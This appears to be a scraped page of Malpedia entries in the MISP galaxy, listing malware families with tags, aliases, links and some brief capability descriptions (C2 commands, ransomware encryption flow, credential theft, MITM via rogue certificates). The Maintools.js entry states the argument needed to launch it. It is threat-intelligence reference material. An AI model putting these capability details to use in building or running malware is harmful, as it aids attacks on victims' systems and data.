The tag is: misp-galaxy:malpedia="CukieGrab"
CukieGrab is also known as:
-
Roblox Trade Assist
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx |
DNSRat
The tag is: misp-galaxy:malpedia="DNSRat"
DNSRat is also known as:
-
DNSbot
Links |
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/ |
EVILNUM (Javascript)
The tag is: misp-galaxy:malpedia="EVILNUM (Javascript)"
EVILNUM (Javascript) is also known as:
Links |
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/ |
http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html |
Griffon
The tag is: misp-galaxy:malpedia="Griffon"
Griffon is also known as:
Links |
https://twitter.com/ItsReallyNick/status/1059898708286939136 |
KopiLuwak
The tag is: misp-galaxy:malpedia="KopiLuwak"
KopiLuwak is also known as:
magecart
The tag is: misp-galaxy:malpedia="magecart"
magecart is also known as:
More_eggs
More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands
The tag is: misp-galaxy:malpedia="More_eggs"
More_eggs is also known as:
-
SpicyOmelette
NanHaiShu
NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.
The tag is: misp-galaxy:malpedia="NanHaiShu"
NanHaiShu is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu |
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf |
Powmet
The tag is: misp-galaxy:malpedia="Powmet"
Powmet is also known as:
Links |
scanbox
The tag is: misp-galaxy:malpedia="scanbox"
scanbox is also known as:
Links |
SQLRat
SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.
The tag is: misp-galaxy:malpedia="SQLRat"
SQLRat is also known as:
Links |
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ |
HTML5 Encoding
The tag is: misp-galaxy:malpedia="HTML5 Encoding"
HTML5 Encoding is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext |
Maintools.js
Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.
The tag is: misp-galaxy:malpedia="Maintools.js"
Maintools.js is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools |
Unidentified 050 (APT32 Profiler)
The tag is: misp-galaxy:malpedia="Unidentified 050 (APT32 Profiler)"
Unidentified 050 (APT32 Profiler) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_050 |
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f |
witchcoven
The tag is: misp-galaxy:malpedia="witchcoven"
witchcoven is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf |
AppleJeus
The tag is: misp-galaxy:malpedia="AppleJeus"
AppleJeus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus |
Bella
The tag is: misp-galaxy:malpedia="Bella"
Bella is also known as:
Links |
Careto
The tag is: misp-galaxy:malpedia="Careto"
Careto is also known as:
-
Appetite
-
Mask
Links |
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed |
CoinThief
The tag is: misp-galaxy:malpedia="CoinThief"
CoinThief is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief |
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed |
Coldroot RAT
The tag is: misp-galaxy:malpedia="Coldroot RAT"
Coldroot RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat |
CpuMeaner
The tag is: misp-galaxy:malpedia="CpuMeaner"
CpuMeaner is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner |
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/ |
CreativeUpdater
The tag is: misp-galaxy:malpedia="CreativeUpdater"
CreativeUpdater is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater |
Crisis (OS X)
The tag is: misp-galaxy:malpedia="Crisis (OS X)"
Crisis (OS X) is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html |
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines |
Crossrider
The tag is: misp-galaxy:malpedia="Crossrider"
Crossrider is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider |
DarthMiner
The tag is: misp-galaxy:malpedia="DarthMiner"
DarthMiner is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.darthminer |
Dockster
The tag is: misp-galaxy:malpedia="Dockster"
Dockster is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster |
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html |
Dummy
The tag is: misp-galaxy:malpedia="Dummy"
Dummy is also known as:
Links |
Eleanor
The tag is: misp-galaxy:malpedia="Eleanor"
Eleanor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor |
https://labs.bitdefender.com/2016/07/new-mac-backdoor-nukes-os-x-systems/ |
EvilOSX
The tag is: misp-galaxy:malpedia="EvilOSX"
EvilOSX is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx |
FailyTale
The tag is: misp-galaxy:malpedia="FailyTale"
FailyTale is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale |
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ |
FlashBack
The tag is: misp-galaxy:malpedia="FlashBack"
FlashBack is also known as:
FruitFly
The tag is: misp-galaxy:malpedia="FruitFly"
FruitFly is also known as:
-
Quimitchin
HiddenLotus
The tag is: misp-galaxy:malpedia="HiddenLotus"
HiddenLotus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus |
iMuler
The tag is: misp-galaxy:malpedia="iMuler"
iMuler is also known as:
-
Revir
Links |
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html |
KeRanger
The tag is: misp-galaxy:malpedia="KeRanger"
KeRanger is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger |
Keydnap
The tag is: misp-galaxy:malpedia="Keydnap"
Keydnap is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap |
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
Kitmos
The tag is: misp-galaxy:malpedia="Kitmos"
Kitmos is also known as:
-
KitM
Links |
Komplex
The tag is: misp-galaxy:malpedia="Komplex"
Komplex is also known as:
-
JHUHUGIT
-
JKEYSKW
-
SedUploader
Laoshu
The tag is: misp-galaxy:malpedia="Laoshu"
Laoshu is also known as:
Links |
Leverage
The tag is: misp-galaxy:malpedia="Leverage"
Leverage is also known as:
MacDownloader
The tag is: misp-galaxy:malpedia="MacDownloader"
MacDownloader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader |
https://iranthreats.github.io/resources/macdownloader-macos-malware/ |
MacInstaller
The tag is: misp-galaxy:malpedia="MacInstaller"
MacInstaller is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller |
MacRansom
The tag is: misp-galaxy:malpedia="MacRansom"
MacRansom is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom |
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service |
MacSpy
The tag is: misp-galaxy:malpedia="MacSpy"
MacSpy is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service |
MacVX
The tag is: misp-galaxy:malpedia="MacVX"
MacVX is also known as:
Links |
MaMi
The tag is: misp-galaxy:malpedia="MaMi"
MaMi is also known as:
Links |
Mokes (OS X)
The tag is: misp-galaxy:malpedia="Mokes (OS X)"
Mokes (OS X) is also known as:
Links |
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/ |
Mughthesec
The tag is: misp-galaxy:malpedia="Mughthesec"
Mughthesec is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec |
OceanLotus
The tag is: misp-galaxy:malpedia="OceanLotus"
OceanLotus is also known as:
Olyx
The tag is: misp-galaxy:malpedia="Olyx"
Olyx is also known as:
Links |
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html |
Patcher
The tag is: misp-galaxy:malpedia="Patcher"
Patcher is also known as:
-
FileCoder
-
Findzip
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher |
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/ |
PintSized
Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.
The tag is: misp-galaxy:malpedia="PintSized"
PintSized is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized |
https://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/ |
Pirrit
The tag is: misp-galaxy:malpedia="Pirrit"
Pirrit is also known as:
Proton RAT
The tag is: misp-galaxy:malpedia="Proton RAT"
Proton RAT is also known as:
-
Calisto
Pwnet
Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.
The tag is: misp-galaxy:malpedia="Pwnet"
Pwnet is also known as:
Links |
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/ |
Dok
Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.
The tag is: misp-galaxy:malpedia="Dok"
Dok is also known as:
-
Retefe
systemd
General purpose backdoor
The tag is: misp-galaxy:malpedia="systemd"
systemd is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd |
Tsunami (OS X)
The tag is: misp-galaxy:malpedia="Tsunami (OS X)"
Tsunami (OS X) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami |
https://www.intego.com/mac-security-blog/tsunami-backdoor-can-be-used-for-denial-of-service-attacks |
Uroburos (OS X)
The tag is: misp-galaxy:malpedia="Uroburos (OS X)"
Uroburos (OS X) is also known as:
WindTail
The tag is: misp-galaxy:malpedia="WindTail"
WindTail is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail |
Winnti (OS X)
The tag is: misp-galaxy:malpedia="Winnti (OS X)"
Winnti (OS X) is also known as:
Links |
WireLurker (OS X)
The tag is: misp-galaxy:malpedia="WireLurker (OS X)"
WireLurker (OS X) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker |
Wirenet (OS X)
The tag is: misp-galaxy:malpedia="Wirenet (OS X)"
Wirenet (OS X) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet |
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html |
X-Agent (OS X)
The tag is: misp-galaxy:malpedia="X-Agent (OS X)"
X-Agent (OS X) is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/ |
https://twitter.com/PhysicalDrive0/status/845009226388918273 |
XSLCmd
The tag is: misp-galaxy:malpedia="XSLCmd"
XSLCmd is also known as:
Links |
Yort
The tag is: misp-galaxy:malpedia="Yort"
Yort is also known as:
Links |
https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/ |
ANTAK
Antak is a webshell written in ASP.Net which utilizes PowerShell.
The tag is: misp-galaxy:malpedia="ANTAK"
ANTAK is also known as:
Links |
https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx |
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html |
PAS
The tag is: misp-galaxy:malpedia="PAS"
PAS is also known as:
Links |
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity |
WSO
The tag is: misp-galaxy:malpedia="WSO"
WSO is also known as:
-
Webshell by Orb
Links |
Silence DDoS
The tag is: misp-galaxy:malpedia="Silence DDoS"
Silence DDoS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos |
https://www.group-ib.com/resources/threat-research/silence.html |
BONDUPDATER
The tag is: misp-galaxy:malpedia="BONDUPDATER"
BONDUPDATER is also known as:
-
Glimpse
GhostMiner
The tag is: misp-galaxy:malpedia="GhostMiner"
GhostMiner is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer |
https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless |
OilRig
The tag is: misp-galaxy:malpedia="OilRig"
OilRig is also known as:
Links |
https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html |
POSHSPY
The tag is: misp-galaxy:malpedia="POSHSPY"
POSHSPY is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy |
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html |
POWERPIPE
The tag is: misp-galaxy:malpedia="POWERPIPE"
POWERPIPE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe |
POWERSOURCE
POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.
The tag is: misp-galaxy:malpedia="POWERSOURCE"
POWERSOURCE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource |
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
PowerSpritz
The tag is: misp-galaxy:malpedia="PowerSpritz"
PowerSpritz is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
POWERSTATS
POWERSTATS is a backdoor written in powershell. It has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.
The tag is: misp-galaxy:malpedia="POWERSTATS"
POWERSTATS is also known as:
-
Valyria
PowerWare
The tag is: misp-galaxy:malpedia="PowerWare"
PowerWare is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware |
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats |
POWRUNER
The tag is: misp-galaxy:malpedia="POWRUNER"
POWRUNER is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner |
PresFox
The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.
The tag is: misp-galaxy:malpedia="PresFox"
PresFox is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox |
QUADAGENT
The tag is: misp-galaxy:malpedia="QUADAGENT"
QUADAGENT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent |
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/ |
RogueRobin
The tag is: misp-galaxy:malpedia="RogueRobin"
RogueRobin is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin |
sLoad
sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.
The tag is: misp-galaxy:malpedia="sLoad"
sLoad is also known as:
Tater PrivEsc
The tag is: misp-galaxy:malpedia="Tater PrivEsc"
Tater PrivEsc is also known as:
Links |
ThunderShell
The tag is: misp-galaxy:malpedia="ThunderShell"
ThunderShell is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell |
WMImplant
The tag is: misp-galaxy:malpedia="WMImplant"
WMImplant is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant |
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html |
BrickerBot
The tag is: misp-galaxy:malpedia="BrickerBot"
BrickerBot is also known as:
pupy (Python)
The tag is: misp-galaxy:malpedia="pupy (Python)"
pupy (Python) is also known as:
Links |
Saphyra
The tag is: misp-galaxy:malpedia="Saphyra"
Saphyra is also known as:
Links |
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/ |
FlexiSpy (symbian)
The tag is: misp-galaxy:malpedia="FlexiSpy (symbian)"
FlexiSpy (symbian) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
HALFBAKED
The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:
info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file
The tag is: misp-galaxy:malpedia="HALFBAKED"
HALFBAKED is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
7ev3n
The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."
The tag is: misp-galaxy:malpedia="7ev3n"
7ev3n is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/ |
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n |
9002 RAT
The tag is: misp-galaxy:malpedia="9002 RAT"
9002 RAT is also known as:
-
Hydraq
-
McRAT
AbaddonPOS
The tag is: misp-galaxy:malpedia="AbaddonPOS"
AbaddonPOS is also known as:
-
PinkKite
abantes
The tag is: misp-galaxy:malpedia="abantes"
abantes is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes |
Abbath Banker
The tag is: misp-galaxy:malpedia="Abbath Banker"
Abbath Banker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker |
AcridRain
AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.
The tag is: misp-galaxy:malpedia="AcridRain"
AcridRain is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain |
https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/ |
Acronym
The tag is: misp-galaxy:malpedia="Acronym"
Acronym is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym |
https://www.arbornetworks.com/blog/asert/acronym-m-is-for-malware/ |
AdamLocker
Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.
The tag is: misp-galaxy:malpedia="AdamLocker"
AdamLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker |
https://twitter.com/JaromirHorejsi/status/813712587997249536 |
AdKoob
The tag is: misp-galaxy:malpedia="AdKoob"
AdKoob is also known as:
Links |
https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/ |
AdvisorsBot
AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.
The tag is: misp-galaxy:malpedia="AdvisorsBot"
AdvisorsBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot |
Adylkuzz
The tag is: misp-galaxy:malpedia="Adylkuzz"
Adylkuzz is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz |
Agent.BTZ
The tag is: misp-galaxy:malpedia="Agent.BTZ"
Agent.BTZ is also known as:
-
ComRAT
-
Sun rootkit
Agent Tesla
A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host’s clipboard and beacons this information back to the C2.
The tag is: misp-galaxy:malpedia="Agent Tesla"
Agent Tesla is also known as:
Aldibot
According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.
This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.
This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.
This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.
This backdoor executes commands from a remote malicious user, effectively compromising the affected system.
The tag is: misp-galaxy:malpedia="Aldibot"
Aldibot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot |
Project Alice
The tag is: misp-galaxy:malpedia="Project Alice"
Project Alice is also known as:
-
AliceATM
-
PrAlice
Alina POS
The tag is: misp-galaxy:malpedia="Alina POS"
Alina POS is also known as:
-
alina_eagle
-
alina_spark
-
katrina
Allaple
The tag is: misp-galaxy:malpedia="Allaple"
Allaple is also known as:
-
Starman
Alma Communicator
The tag is: misp-galaxy:malpedia="Alma Communicator"
Alma Communicator is also known as:
AlmaLocker
The tag is: misp-galaxy:malpedia="AlmaLocker"
AlmaLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker |
ALPC Local PrivEsc
The tag is: misp-galaxy:malpedia="ALPC Local PrivEsc"
ALPC Local PrivEsc is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe |
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/ |
Alphabet Ransomware
The tag is: misp-galaxy:malpedia="Alphabet Ransomware"
Alphabet Ransomware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware |
https://twitter.com/JaromirHorejsi/status/813714602466877440 |
AlphaLocker
A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.
AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware’s author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.
AlphaLocker’s encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user’s computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.
To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.
The tag is: misp-galaxy:malpedia="AlphaLocker"
AlphaLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker |
AlphaNC
The tag is: misp-galaxy:malpedia="AlphaNC"
AlphaNC is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Alreay
The tag is: misp-galaxy:malpedia="Alreay"
Alreay is also known as:
Links |
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/ |
Alureon
The tag is: misp-galaxy:malpedia="Alureon"
Alureon is also known as:
-
Olmarik
-
Pihar
-
TDL
-
TDSS
Amadey
The tag is: misp-galaxy:malpedia="Amadey"
Amadey is also known as:
Links |
https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/ |
AMTsol
The tag is: misp-galaxy:malpedia="AMTsol"
AMTsol is also known as:
-
Adupihan
Links |
Anatova Ransomware
The tag is: misp-galaxy:malpedia="Anatova Ransomware"
Anatova Ransomware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom |
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/ |
Andromeda
The tag is: misp-galaxy:malpedia="Andromeda"
Andromeda is also known as:
-
B106-Gamarue
-
B67-SS-Gamarue
-
Gamarue
-
b66
Anel
The tag is: misp-galaxy:malpedia="Anel"
Anel is also known as:
Links |
Antilam
The tag is: misp-galaxy:malpedia="Antilam"
Antilam is also known as:
-
Latinus
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam |
Apocalipto
The tag is: misp-galaxy:malpedia="Apocalipto"
Apocalipto is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto |
https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf |
Apocalypse
The tag is: misp-galaxy:malpedia="Apocalypse"
Apocalypse is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom |
ArdaMax
The tag is: misp-galaxy:malpedia="ArdaMax"
ArdaMax is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax |
Arefty
The tag is: misp-galaxy:malpedia="Arefty"
Arefty is also known as:
Links |
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/ |
Arik Keylogger
The tag is: misp-galaxy:malpedia="Arik Keylogger"
Arik Keylogger is also known as:
-
Aaron Keylogger
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger |
https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/ |
Arkei Stealer
The tag is: misp-galaxy:malpedia="Arkei Stealer"
Arkei Stealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer |
ARS VBS Loader
ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.
The tag is: misp-galaxy:malpedia="ARS VBS Loader"
ARS VBS Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader |
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/ |
Artra Downloader
The tag is: misp-galaxy:malpedia="Artra Downloader"
Artra Downloader is also known as:
Links |
AscentLoader
The tag is: misp-galaxy:malpedia="AscentLoader"
AscentLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader |
ASPC
The tag is: misp-galaxy:malpedia="ASPC"
ASPC is also known as:
Links |
Asprox
The tag is: misp-galaxy:malpedia="Asprox"
Asprox is also known as:
-
Aseljo
-
BadSrc
AthenaGo RAT
The tag is: misp-galaxy:malpedia="AthenaGo RAT"
AthenaGo RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago |
ATI-Agent
The tag is: misp-galaxy:malpedia="ATI-Agent"
ATI-Agent is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
ATMii
The tag is: misp-galaxy:malpedia="ATMii"
ATMii is also known as:
Links |
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/ |
ATMitch
The tag is: misp-galaxy:malpedia="ATMitch"
ATMitch is also known as:
Links |
